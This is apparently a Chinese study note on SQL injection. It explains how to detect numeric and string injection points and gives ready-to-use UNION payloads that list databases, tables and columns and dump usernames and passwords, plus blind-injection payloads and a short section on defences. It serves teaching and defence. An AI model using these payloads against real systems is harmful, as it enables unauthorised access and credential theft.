一、原理
将用户的输入插入到SQL语句中,用户的输入被当做代码执行。
寻找注入点:
输入?id=1,如果显示错误,则这位注入点。
输入?id=1',如果显示错误,则这位注入点。.......
二、注入流程
1、判断注入类型(是否存在注入): 数字型注入、字符型注入。
数字型注入:
如果是数字型注入我们可以通过简单的逻辑等式判断,构造语句?id=1 and 1=1 和 ?id=1 and 1=2 。
这样构造的话我们来看看后台实际上SQL语句是怎么样的:
select * from table_name where id=1 and 1=1
select * from table_name where id=1 and 1=2
第一个语句是永真式,所以页面回显正常,第二个为永假所以页面回显不正常
字符型注入:
如果是字符型注入那么SQL语句我们可以用上面的语句构造吗?显然是不行的,若是按照上面的构造方法后台应该是这样的:
select * from table_name where id='1 and 1=2'
这样一来1 and 1=2 就变成了一个字符串,不能进行逻辑判断。
我们可以尝试一下构造:?id=1’ and ‘1’='1 和 ?id=1’ and ‘1’='2,这么做的目的是什么呢?我们来看一下在后台执行的语句应该是什么样的
select *from table_name where id ='1' and '1'='1'
select *from table_name where id ='1' and '1'='2'
若是字符型注入的话第一条语句页面回显应该是正常的(逻辑永真),第二个页面回显应该是不正常的(逻辑判断为假)
2、判断字段个数(表的列数)
字段个数不大于查询字段个数时,语句会正常执行,当字段个数大于查询字段个数时,语句会报错。
3、判断显错位(输出参数的位置)
4、获取各个数据库名
?id=0' union select 1,2,database()--+
5、获取某个数据库的表名
?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=databases() --+
6、获取某个表的字段名(列名)
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
7、爆出用户名、密码
?id=0' union select 1,2,group_concat(username,0x3a,password) from users--+
三、分类
按注入点类型分类:
1、数字型注入 select * from 表名 where id=1
2、字符型注入 select * from 表名 where name=“admin”
按数据提交的方式分类:
- GET 注入 提交数据方式为GET,注入点的位置在GE参数部分
- POST注入 注入点位置在POST数据部分
- Cookie注入 HTTP请求的时候会带上客户端的cookie,注入点在cookie当中的某个字段中
- HTTP头部注入 注入点在HTTP请求头部的某个字段中
按执行效果分类
1、盲注 (时间盲注、布尔盲注)
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
2、联合注入 union select
?id=1' and length(database())=8--+
?id=1' and ascii(substr(database(),1,1))=115--+
四、防御
1、不要随意开启生产环境中Webserver的错误显示。
2、永远不要信任来自用户端的变量输入,有固定格式的变量一定要严格检查对应的格式,没有固定格式的变量需要对引号等特殊字符进行必要的过滤转义。
3、使用预编译绑定变量的SQL语句。
4、做好数据库帐号权限管理。
5、严格加密处理用户的机密信息。
6,过滤掉一些常见的关键字:select、insert、update、delete、and、or